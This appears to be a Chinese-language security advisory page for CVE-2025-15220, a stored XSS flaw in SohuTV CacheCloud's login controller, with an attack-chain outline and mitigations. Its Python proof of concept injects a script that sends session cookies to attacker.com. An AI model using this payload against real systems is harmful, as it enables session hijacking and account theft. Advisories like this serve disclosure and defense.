IPBUF安全漏洞报告
English
CVE-2025-15220 CVSS 4.3 中危

CVE-2025-15220 SohuTV CacheCloud LoginController XSS漏洞

披露日期: 2025-12-30

漏洞信息

漏洞编号
CVE-2025-15220
漏洞类型
XSS (跨站脚本攻击)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
SohuTV CacheCloud

相关标签

XSS跨站脚本CacheCloud搜狐TVCVE-2025-15220LoginController存储型XSSJava

漏洞概述

CVE-2025-15220是搜狐TV缓存云平台CacheCloud中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于LoginController.java文件的init函数中,攻击者可以通过在登录相关的输入参数中注入恶意JavaScript代码。当其他用户访问受影响页面时,恶意脚本将被执行,可能导致会话劫持、敏感信息窃取或钓鱼攻击。由于该漏洞影响CacheCloud 3.2.0及以下版本,且利用无需认证即可发起,因此存在较高的安全风险。项目方已收到漏洞报告但截至披露日期尚未做出响应。

技术细节

该漏洞位于src/main/java/com/sohu/cache/web/controller/LoginController.java文件的init函数中。LoginController是CacheCloud平台的登录控制器,负责处理用户认证流程。init函数在初始化登录页面或处理登录请求时被调用,攻击者可以通过构造特定的输入参数,在参数值中嵌入恶意JavaScript代码。由于该输入未经过充分的输入验证和输出编码,恶意代码被存储在系统中,并在后续用户访问时被浏览器解析执行。攻击者利用此漏洞可以窃取用户会话cookie、劫持用户账号或进行钓鱼攻击。由于CVSS向量显示攻击需要用户交互(UI:R),攻击者通常需要诱导管理员或用户访问恶意链接或页面。

攻击链分析

STEP 1
步骤1
攻击者识别目标站点使用SohuTV CacheCloud平台,并定位到登录页面
STEP 2
步骤2
攻击者构造恶意XSS payload,在登录表单的用户名或其他参数中注入JavaScript代码
STEP 3
步骤3
攻击者向LoginController的init函数发送携带XSS payload的请求,由于输入未经过滤,payload被存储在服务器端
STEP 4
步骤4
当合法用户访问登录页面或查看相关数据时,浏览器解析并执行存储的恶意脚本
STEP 5
步骤5
恶意脚本窃取用户会话cookie、凭据或其他敏感信息,并发送到攻击者控制的服务器
STEP 6
步骤6
攻击者利用窃取的会话信息劫持用户账号,获取系统访问权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-15220 PoC - SohuTV CacheCloud LoginController XSS This PoC demonstrates how to exploit the XSS vulnerability in CacheCloud LoginController """ import requests import urllib.parse target_url = "http://target-server:8080/cachecloud" # XSS payload - attempts to steal cookies xss_payload = "<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>" # Encode the payload for URL encoded_payload = urllib.parse.quote(xss_payload) # Method 1: Login with XSS in username field login_data = { "username": xss_payload, "password": "password123", "init": "true" } print("[*] Sending XSS payload to LoginController init function...") print(f"[*] Target: {target_url}/login") print(f"[*] Payload: {xss_payload}") # Send request to login endpoint try: response = requests.post( f"{target_url}/login", data=login_data, timeout=10, allow_redirects=False ) print(f"[+] Request sent, Status Code: {response.status_code}") print("[+] If the server reflects the XSS payload without sanitization,") print("[+] the vulnerability is confirmed.") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Method 2: Direct init function call with XSS parameter print("\n[*] Testing init function directly...") init_url = f"{target_url}/login/init?param={encoded_payload}" try: response = requests.get(init_url, timeout=10) if xss_payload in response.text or encoded_payload in response.text: print("[+] XSS payload reflected - Vulnerability confirmed!") else: print("[-] Payload not reflected") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")

影响范围

SohuTV CacheCloud <= 3.2.0

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时措施:1)在前端和后端同时对用户输入进行严格的HTML标签过滤,移除或编码<、>、"、'等特殊字符;2)部署WAF规则拦截包含script标签的请求;3)启用HttpOnly和Secure标志保护Cookie;4)限制登录接口的访问频率;5)监控日志中的异常XSS探测行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表